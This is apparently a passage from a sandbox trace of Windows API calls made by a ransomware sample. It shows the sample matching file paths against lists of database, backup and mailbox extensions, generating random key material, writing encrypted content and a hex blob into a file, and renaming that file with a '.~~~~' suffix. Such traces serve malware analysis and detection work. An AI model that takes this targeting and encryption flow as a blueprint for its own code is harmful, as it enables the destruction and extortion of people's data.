	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dbv") returned 0x0
	[0085.570] lstrlenW (lpString=".SDF") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".SDF") returned 0x0
	[0085.570] lstrlenW (lpString=".dtxs") returned 5
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dtxs") returned 0x0
	[0085.570] lstrlenW (lpString=".db3") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".db3") returned 0x0
	[0085.570] lstrlenW (lpString=".OST") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".OST") returned 0x0
	[0085.570] lstrlenW (lpString=".dbx") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dbx") returned 0x0
	[0085.570] lstrlenW (lpString=".DB3") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DB3") returned 0x0
	[0085.570] lstrlenW (lpString=".DAT") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DAT") returned 0x0
	[0085.570] lstrlenW (lpString=".VHDX") returned 5
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".VHDX") returned 0x0
	[0085.571] lstrlenW (lpString=".ndf") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".ndf") returned 0x0
	[0085.571] lstrlenW (lpString=".DB") returned 3
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DB") returned 0x0
	[0085.571] lstrlenW (lpString=".sql") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".sql") returned 0x0
	[0085.571] lstrlenW (lpString=".MYD") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".MYD") returned 0x0
	[0085.571] lstrlenW (lpString=".DBT") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DBT") returned 0x0
	[0085.571] lstrlenW (lpString=".ACCDB") returned 6
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".ACCDB") returned 0x0
	[0085.571] lstrlenW (lpString=".fdb") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".fdb") returned 0x0
	[0085.571] lstrlenW (lpString=".bak") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".bak") returned 0x0
	[0085.571] lstrlenW (lpString=".myd") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".myd") returned 0x0
	[0085.571] lstrlenW (lpString=".DTXS") returned 5
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DTXS") returned 0x0
	[0085.571] lstrlenW (lpString=".ckp") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".ckp") returned 0x0
	[0085.571] lstrlenW (lpString=".dbt") returned 4
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dbt") returned 0x0
	[0085.571] lstrlenW (lpString=".db") returned 3
	[0085.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".db") returned 0x0
	[0085.572] lstrlenW (lpString=".TXT") returned 4
	[0085.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".TXT") returned 0x0
	[0085.572] lstrlenW (lpString=".MDF") returned 4
	[0085.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".MDF") returned 0x0
	[0085.572] lstrlenW (lpString=".bdb") returned 4
	[0085.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".bdb") returned 0x0
	[0085.572] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.572] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.573] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.573] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20556349528) returned 1
	[0085.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9cd0ed50, dwHighDateTime=0x1d60e1e)) 
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd60
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd60 | out: hHeap=0x300000) returned 1
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abd50
	[0085.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abd50 | out: hHeap=0x300000) returned 1
	[0085.574] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.574] GetLastError () returned 0x0
	[0085.575] GetLastError () returned 0x0
	[0085.575] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.575] GetLastError () returned 0x0
	[0085.575] GetLastError () returned 0x0
	[0085.578] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffdb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.578] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x24a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x24a, lpOverlapped=0x0) returned 1
	[0085.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.579] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.579] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.579] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.579] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.579] CloseHandle (hObject=0x11c) returned 1
	[0085.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0085.579] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.~~~~")) returned 1
	[0085.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fa20 | out: hHeap=0x300000) returned 1
	[0085.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.671] GetLastError () returned 0x0
	[0085.671] RtlWakeConditionVariable () returned 0x365f70
	[0085.671] GetCurrentThreadId () returned 0xaf0
	[0085.671] GetCurrentThreadId () returned 0xaf0
	[0085.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0085.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5a60 | out: hHeap=0x300000) returned 1
	[0085.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd28 | out: hHeap=0x300000) returned 1
	[0085.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5a60
	[0085.671] lstrlenW (lpString=".scr") returned 4
	[0085.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.671] lstrlenW (lpString=".cmd") returned 4
	[0085.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.671] lstrlenW (lpString=".dll") returned 4
	[0085.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.671] lstrlenW (lpString=".bat") returned 4
	[0085.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.671] lstrlenW (lpString=".cpl") returned 4
	[0085.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.671] lstrlenW (lpString=".sys") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.672] lstrlenW (lpString=".msc") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.672] lstrlenW (lpString=".com") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.672] lstrlenW (lpString=".lnk") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.672] lstrlenW (lpString=".msp") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.672] lstrlenW (lpString=".pif") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.672] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.672] lstrlenW (lpString=".sqb") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.672] lstrlenW (lpString=".ost") returned 4
	[0085.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.672] lstrlenW (lpString=".txt") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.673] lstrlenW (lpString=".mdt") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.673] lstrlenW (lpString=".BDB") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.673] lstrlenW (lpString=".eql") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.673] lstrlenW (lpString=".DBF") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.673] lstrlenW (lpString=".EQL") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.673] lstrlenW (lpString=".FDB") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.673] lstrlenW (lpString=".EDB") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.673] lstrlenW (lpString=".DACPAC") returned 7
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.673] lstrlenW (lpString=".VHD") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.673] lstrlenW (lpString=".DBV") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.673] lstrlenW (lpString=".dacpac") returned 7
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.673] lstrlenW (lpString=".sdf") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.673] lstrlenW (lpString=".accdb") returned 6
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.673] lstrlenW (lpString=".DBX") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.673] lstrlenW (lpString=".MDT") returned 4
	[0085.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.673] lstrlenW (lpString=".SQB") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.674] lstrlenW (lpString=".vhd") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.674] lstrlenW (lpString=".bac") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.674] lstrlenW (lpString=".mdf") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.674] lstrlenW (lpString=".BAK") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.674] lstrlenW (lpString=".BAC") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.674] lstrlenW (lpString=".dbs") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.674] lstrlenW (lpString=".vhdx") returned 5
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.674] lstrlenW (lpString=".NDF") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.674] lstrlenW (lpString=".dat") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.674] lstrlenW (lpString=".DBS") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.674] lstrlenW (lpString=".CKP") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.674] lstrlenW (lpString=".edb") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.674] lstrlenW (lpString=".PST") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.674] lstrlenW (lpString=".dbf") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.674] lstrlenW (lpString=".SQL") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.674] lstrlenW (lpString=".pst") returned 4
	[0085.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.675] lstrlenW (lpString=".dbv") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.675] lstrlenW (lpString=".SDF") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.675] lstrlenW (lpString=".dtxs") returned 5
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.675] lstrlenW (lpString=".db3") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.675] lstrlenW (lpString=".OST") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.675] lstrlenW (lpString=".dbx") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.675] lstrlenW (lpString=".DB3") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.675] lstrlenW (lpString=".DAT") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.675] lstrlenW (lpString=".VHDX") returned 5
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.675] lstrlenW (lpString=".ndf") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.675] lstrlenW (lpString=".DB") returned 3
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.675] lstrlenW (lpString=".sql") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.675] lstrlenW (lpString=".MYD") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.675] lstrlenW (lpString=".DBT") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.675] lstrlenW (lpString=".ACCDB") returned 6
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.675] lstrlenW (lpString=".fdb") returned 4
	[0085.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.676] lstrlenW (lpString=".bak") returned 4
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.676] lstrlenW (lpString=".myd") returned 4
	[0085.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.676] lstrlenW (lpString=".DTXS") returned 5
